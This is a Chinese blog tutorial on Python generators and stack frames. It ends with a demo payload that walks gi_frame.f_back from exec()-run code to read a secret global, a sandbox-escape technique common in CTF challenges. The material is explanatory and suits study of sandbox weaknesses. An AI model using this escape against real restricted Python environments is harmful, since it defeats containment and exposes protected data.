200字
功利角度认识 python 栈帧
2025-12-02
2025-12-05

参考资料Python栈帧沙箱逃逸 - Zer0peach

1. 认识生成器(Generator)

  • 概念:类似于给进程打了一个断点,将一个连续的执行流程变成了迭代器。
  • 特性:支持 next() 方法以及正常的迭代器访问(如 for 循环)。

简单示例:

def my_generator():
    print("开始执行...")
    a = 1
    yield a  # 暂停并返回 a
    print("继续执行...")
    yield 2

gen = my_generator() # 此时函数体内的代码并不会立即执行
print(gen)           # <generator object ...>

2. 栈帧(frame)

基础分析

def my_generator():
    a = 1
    yield 1

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals.keys()) # 精简输出
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

初始状态输出(未执行 next):

Local Variables: {}
Global Variables: dict_keys(['__name__', '__doc__', ..., 'gen'])
Code Object: <code object my_generator at 0x...>
Instruction Pointer: -1

执行分析

如果在代码中加入 gen.__next__() 之后再查看栈帧信息,状态会发生变化:

Local Variables: {'a': 1}
Instruction Pointer: 6

结论: 调用生成器函数仅仅是创建并返回了一个生成器对象。只有在第一次请求数据(如调用 next())时,代码才会开始真正的执行,此时局部变量才会被创建,指令指针开始移动。


3. 利用栈帧沙箱逃逸

示例代码(Payload)

s3cret = "this is flag"

# 构造恶意代码字符串
codes = '''
def waff():
    def f():
        # 这里是惰性调用,Python 在定义函数时不会检查 g 是否存在
        # g.gi_frame 是生成器 g 此时的栈帧
        # 通过 yield 把自身的栈帧抛出来,此时该栈帧还连接着上层调用者
        yield g.gi_frame.f_back 
    
    g = f()
    # 第一次 next(g) 会执行到 yield,此时返回的是 f 的调用者的栈帧 (即 waff 的栈帧)
    # frame = [x for x in g][0] 和 frame = next(g) 是等价写法
    frame = next(g)
    
    # frame.f_back 指向 exec 的栈帧
    # frame.f_back.f_back 指向 main 的栈帧
    # 通过 main 栈帧的 f_globals 获取全局变量 s3cret
    b = frame.f_back.f_back.f_globals['s3cret']
    return b

b = waff()
'''

locals_dict = {}
code = compile(codes, "test", "exec")  # 创建一个沙箱环境
exec(code, locals_dict)
print(f"获取到的秘密: {locals_dict['b']}")

思路分析

1. 攻击链条main (全局) -> exec (沙箱入口) -> waff -> f (生成器)

2. 对比实验(为什么必须这样写?): 如果不使用上述的自引用方式,而是试图在外部访问 f_back

def waff():
    def f():
        yield 1
    
    g = f() 
    print(f"刚创建时 f_back: {g.gi_frame.f_back}") 
    
    next(g)  # 跑一步,遇到 yield 暂停并返回
    print(f"暂停后 f_back: {g.gi_frame.f_back}") 

waff()

对比输出

刚创建时 f_back: None
暂停后 f_back: None

结论: 当 yield 语句执行完毕并将控制权交还给主程序时,生成器处于“暂停”状态,此时 Python 解释器将栈帧之间的动态调用链路断开。因此,我们必须在生成器内部通过 yield 把上层栈帧对象直接“偷”出来。

4. 其它作用

信息收集

**1. frame.f_code:对象中的属性

**2. code.co_consts:对象常量池(若有回显过滤考虑逐字输出)


评论